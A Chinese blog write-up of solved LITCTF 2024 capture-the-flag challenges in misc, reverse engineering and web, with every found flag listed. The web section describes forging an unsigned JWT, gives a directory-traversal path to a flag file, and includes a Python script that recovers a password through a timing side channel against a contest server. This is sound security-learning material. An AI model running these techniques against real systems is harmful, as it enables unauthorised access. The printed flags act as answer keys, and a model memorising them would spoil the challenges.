LITCTF-2024

LITCTF - 2024

学长的邀请,参加了LITCTF🥰🥰
整体感觉还不错,难度中等,题目有趣。😘😘
除了中途主办方设置的flag不对导致迷惑了好久之外没什么大问题
下面是我解出的题以及对应的题解。

Misc - 杂项

难度疑似有点两极分化了😢

welcome

签到题,进discord获取前半部分flag,看比赛规则获取后半部分flag。

geoguessr1

Where is this? Flag format: Use three decimal points of precision and round. The last digit of the first coordinate is ODD, and the last digit of the second coordinate is EVEN. Example: LITCTF{80.439,-23.498} (no spaces)

图寻题,请出AI🤖:https://geospy.web.app/
轻松找到目的地😁

LITCTF{24.885,121.284}

geoguessr2

Our history class recently took a walk on a field trip here. Where is this? Flag format: Use three decimal points of precision and round. The last digit of the first coordinate is EVEN, and the last digit of the second coordinate is ODD. Example:

还是用geospy

LITCTF{42.450,-71.233}

a little bit of tomcroppery

Once you crop an image, the cropped part is gone… right???

题目提示我们,截图过后被截掉的部分应该消失。但是部分设备存在漏洞CVE-2023-21036,使得被截掉的部分没有被正常抹除,我们从而可以借助某些工具🔧修复未被抹除的部分。

修复结果:

pokemon

旗语 Flag semaphore

LITCTF{POKEAAAG}

endless

Whoops! I deleted the file ending of this file, and now I can’t seem to figure out what type of file it was. Can you help me?

本来这道题应该是让我们修复🔧mp3文件头,但是现在的播放器以及很强大了,直接省去了这一步😂

Rev - 逆向

forgotten message

I made a cool program to show the flag, but i forgot to output it! Now that I lost the source, I can’t seem to remember the flag. Can you help me find it?

入门逆向题,丢到ida就能看到flag。

kablewy

halp WARNING: your computer might go kablewy if you try to do this one…
JavaScript逆向?其实就是base64加密了一下。😂

Burger Reviewer

Try to sneak a pizza into the burger reviewer!

原题附件: Burgers.java

一共五个部分

  • 第一部分🍞限制了开头和结尾的字符LITCTF{}

    1
    2
    3
    public static boolean bun(String s) {
    return (s.substring(0, 7).equals("LITCTF{") && s.charAt(s.length()-1) == '}');
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    s = ["#"] * 42
    s[0] = "L"
    s[1] = "I"
    s[2] = "T"
    s[3] = "C"
    s[4] = "T"
    s[5] = "F"
    s[6] = "{"
    s[-1] = "}"
  • 第二部分🧀给出了下划线字符的位置

    1
    2
    3
    public static boolean cheese(String s) {
    return (s.charAt(13) == '_' && (int)s.charAt(17) == 95 && s.charAt(19) == '_' && s.charAt(26)+s.charAt(19) == 190 && s.charAt(29) == '_' && s.charAt(34)-5 == 90 && s.charAt(39) == '_');
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    s[13] = "_"
    s[17] = chr(95)
    s[19] = "_"
    s[26] = chr(190 - ord(s[19]))
    s[29] = "_"
    s[34] = chr(90 + 5)
    s[39] = "_"
    print("".join(s))
    # LITCTF{######_###_#_######_##_####_####_#}
  • 第三部分🥩

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public static boolean meat(String s) {
    boolean good = true;
    int m = 41;
    char[] meat = {'n', 'w', 'y', 'h', 't', 'f', 'i', 'a', 'i'};
    int[] dif = {4, 2, 2, 2, 1, 2, 1, 3, 3};
    for (int i = 0; i < meat.length; i++) {
    m -= dif[i];
    if (s.charAt(m) != meat[i]) {
    good = false;
    break;
    }
    }
    return good;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    m = 41
    meat = ["n", "w", "y", "h", "t", "f", "i", "a", "i"]
    dif = [4, 2, 2, 2, 1, 2, 1, 3, 3]
    for i in range(len(meat)):
    m -= dif[i]
    s[m] = meat[i]

    print("".join(s))
    # LITCTF{######_###_#_#i##a#_if_th#y_w#n#_#}
  • 第四部分🧂

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    public static boolean pizzaSauce(String s) {
    boolean[] isDigit = {false, false, false, true, false, true, false, false, true, false, false, false, false, false};
    for (int i = 7; i < 21; i++) {
    if (Character.isDigit(s.charAt(i)) != isDigit[i - 7]) {
    return false;
    }
    }
    char[] sauce = {'b', 'p', 'u', 'b', 'r', 'n', 'r', 'c'};
    int a = 7; int b = 20; int i = 0; boolean good = true;
    while (a < b) {
    if (s.charAt(a) != sauce[i] || s.charAt(b) != sauce[i+1]) {
    good = false;
    break;
    }
    a++; b--; i += 2;
    while (!Character.isLetter(s.charAt(a))) a++;
    while (!Character.isLetter(s.charAt(b))) b--;
    }
    return good;
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    isDigit = [0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0]

    for i in range(7, 21):
    if isDigit[i - 7] == 1:
    s[i] = str(isDigit[i - 7])
    sauce = ["b", "p", "u", "b", "r", "n", "r", "c"]
    a = 7
    b = 20
    i = 0
    while a < b:
    s[a] = sauce[i]
    s[b] = sauce[i + 1]
    a += 1
    b -= 1
    i += 2
    while s[a] != "#":
    a += 1
    while s[b] != "#":
    b -= 1

    print("".join(s))
    # LITCTF{bur1r1_c1n_b_pi##a#_if_th#y_w#n#_#}
  • 第五部分🥬

    1
    2
    3
    4
    5
    6
    7
    8
    public static boolean veggies(String s) {
    int[] veg1 = {10, 12, 15, 22, 23, 25, 32, 36, 38, 40};
    int[] veg = new int[10];
    for (int i = 0; i < veg1.length; i++) {
    veg[i] = Integer.parseInt(s.substring(veg1[i], veg1[i]+1));
    }
    return (veg[0] + veg[1] == 14 && veg[1] * veg[2] == 20 && veg[2]/veg[3]/veg[4] == 1 && veg[3] == veg[4] && veg[3] == 2 && veg[4] - veg[5] == -3 && Math.pow(veg[5], veg[6]) == 125 && veg[7] == 4 && veg[8] % veg[7] == 3 && veg[8] + veg[9] == 9 && veg[veg.length - 1] == 2);
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    veg = [10, 12, 15, 22, 23, 25, 32, 36, 38, 40]
    s[veg[0]] = "9"
    s[veg[1]] = "5"
    s[veg[2]] = "4"
    s[veg[3]] = "2"
    s[veg[4]] = "2"
    s[veg[5]] = "5"
    s[veg[6]] = "3"
    s[veg[7]] = "4"
    s[veg[8]] = "7"
    s[veg[9]] = "2"

    print("".join(s))
    # LITCTF{bur9r5_c4n_b_pi22a5_if_th3y_w4n7_2}

revsite1

wasm逆向

这题由于代码太长,我们采用动态调试的方法。

首先找到flag检查的相关函数。

按钮事件。

对应函数,调用了wasm中的check_flag函数。

来到对应函数,一路往下翻,看到了一个$strcmp,狂喜。

strcmp函数内打下断点,查看相关变量,经测试得到$var3是对应的flag字符。

往下找到了loop结构,估计就是循环遍历字符来比较了。

在此处设置一个日志点,捕获下一个flag字符。

最后,循环输入新蹦出的字符并再次检查即可拼接出完整的flag。

Web - 网站

anti-inspect

can you find the answer? WARNING: do not open the link your computer will not enjoy it much.

jwt-1

I just made a website. Since cookies seem to be a thing of the old days, I updated my authentication! With these modern web technologies, I will never have to deal with sessions again.
没有签名校验的jwt,使用jwt.io修改身份即可。😋

jwt-2

its like jwt-1 but this one is harder
源码泄露,给了对应的key。😋

traversed

I made this website! you can’t see anything else though… right??

dirsearch扫了一下,发现有目录穿越漏洞。😋
flag在 /../flag.txt

kirbytime

Welcome to Kirby’s Website.
附件: kirbytime.zip
审查了一下代码,发现有人为设置的侧信道攻击点。😋

祭出万能的python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

def get_request_time(passwd, session):
url = "http://34.31.154.223:50165/"

payload = f"password={passwd}"
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0",
}

response = session.request("POST", url, headers=headers, data=payload)
return response.elapsed.total_seconds()


session = requests.Session()
import string

for i in string.ascii_letters + string.digits + "_":
print(f"Testing {i}", get_request_time( i + "123456", session))

如果密码正确,就会延时一秒,人眼判断一下异常的时间,最后得到密码 kBySlaY

scrainbow

Oh no! someone dropped my perfect gradient and it shattered into 10000 pieces! I can’t figure out how to put it back together anymore, it never looks quite right. Can you help me fix it?
压轴出现!这道题应该是这个比赛中我做出最麻烦的一道题了。🧐

题目给了一个100*100的颜色矩阵,定义了一种操作交换,既交换两个颜色色块,交换的操作表示为 [ FromPos, ToPos ]。要求给出操作列表,使得这个颜色矩阵变成从左上角到右下角为 红色-彩色-红色

吐槽一下,这道题怎么给我一种在隔壁做算法题的感觉……😕

附上几张图:

数据来源 最终的图片

思路如下:

  1. 获取数据集

    • 使用 requests.get 方法从指定 URL 获取颜色数据集,并将其解析为 JSON 格式的列表。
  2. 颜色转换和距离计算

    • 定义了一个函数 hex_to_rgb,用于将十六进制颜色代码转换为 RGB 元组。
    • 定义了另一个函数 calc_distance,用于计算两个 RGB 颜色之间的欧几里得距离。
  3. 统计颜色出现次数并排序

    • 使用一个字典 color_dict 来统计每种颜色在数据集中出现的次数。
    • 将字典按颜色出现次数进行排序,得到一个列表 color_dict
  4. 生成期望的颜色排序

    • 初始化一个 expect_color 列表,用于存储期望的颜色排序。
    • 选择出现次数第二多的颜色作为起始颜色,并将其添加到 expect_color 列表中。
    • 复制并删除已选择的颜色,避免重复使用。
    • 通过计算当前颜色与其他颜色之间的距离,选择距离最近的颜色依次添加到 expect_color 列表中。
    • 逆序添加剩余的颜色到 expect_color 列表中,确保所有颜色都被包含。
  5. 生成目标列表

    • 初始化一个 target_list 列表,用于存储最终的目标颜色排列。
    • 按照一定的规则(例如每次移动一个位置)将 expect_color 列表中的颜色添加到 target_list 列表中。
  6. 生成交换操作列表

    • 定义一个函数 find_swap_operations,用于生成将原始颜色列表转换为目标颜色列表所需的交换操作。
    • 通过遍历原始列表和目标列表,找到需要交换的位置,并记录交换操作。
  7. 提交交换操作列表

    • 使用 requests.post 方法将生成的交换操作列表提交到指定的服务器 URL。
    • 打印服务器返回的响应,确认操作是否成功。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import requests
import json

# 第一步,获取数据集
color_data = requests.get("http://litctf.org:31780/data").json()

# 第二步,找到正确的排序顺序
def hex_to_rgb(hex):
return tuple(int(hex[i : i + 2], 16) for i in (0, 2, 4))


def calc_distance(color1, color2):
r1, g1, b1 = hex_to_rgb(color1)
r2, g2, b2 = hex_to_rgb(color2)
return (r1 - r2) ** 2 + (g1 - g2) ** 2 + (b1 - b2) ** 2

# 创建哈希表,存储颜色及其对应出现次数
color_dict = {}
for color in color_data:
if color in color_dict:
color_dict[color] += 1
else:
color_dict[color] = 1

# 按照颜色出现次数排序
color_dict = sorted(color_dict.items(), key=lambda x: (x[1]))

expect_color = []
expect_color.append(color_dict[1][0])
current = color_dict[1][0][1:]

color_dict_bak = color_dict.copy()
color_dict_bak.remove(color_dict[1])

for i in range(2, len(color_dict) - 1, 2):
color1 = calc_distance(color_dict[i][0][1:], current)
color2 = calc_distance(color_dict[i + 1][0][1:], current)
if color1 < color2:
expect_color.append(color_dict[i][0])
current = color_dict[i][0][1:]
color_dict_bak.remove(color_dict[i])
else:
expect_color.append(color_dict[i + 1][0])
current = color_dict[i + 1][0][1:]
color_dict_bak.remove(color_dict[i + 1])
# 逆序添加剩余的颜色
for i in range(len(color_dict_bak) - 1, -1, -1):
expect_color.append(color_dict_bak[i][0])

target_list = []
l = 0
for i in range(100):
for j in range(l, l + 100):
target_list.append(expect_color[j])
l += 1


# 第三步,根据原始列表color_data和目标列表target_list生成交换列表
def find_swap_operations(original_list, target_list):
n = len(original_list)
swaps = []

for i in range(n):
if original_list[i] != target_list[i]:
target_pos = original_list[i:].index(target_list[i]) + i
swaps.append([i, target_pos])
original_list[i], original_list[target_pos] = (
original_list[target_pos],
original_list[i],
)
return swaps


swap_operations = find_swap_operations(color_data, target_list)

# 第四步,将交换列表提交到服务器
response = requests.post(
"http://litctf.org:31780/test",
headers={"Content-Type": "application/json"},
data=json.dumps({"data": swap_operations}),
)

print(response.text)
# LITCTF{yAy_y0u_fixed_e9DS93a}

总结

队友太强了,把密码ak了。🥳🥳
but我们队没人做pwn,所以最后没有拿到什么好名次。😭
整体下来这个比赛还是挺开心的🤭,要说收获也挺多,拿了两个一血(虽然很水),第一次尝试wasm,第一次在ctf写算法题…


LITCTF-2024
http://xciphand.github.io/2024/08/12/LITCTF-2024/
作者
xciphand
发布于
2024年8月12日
许可协议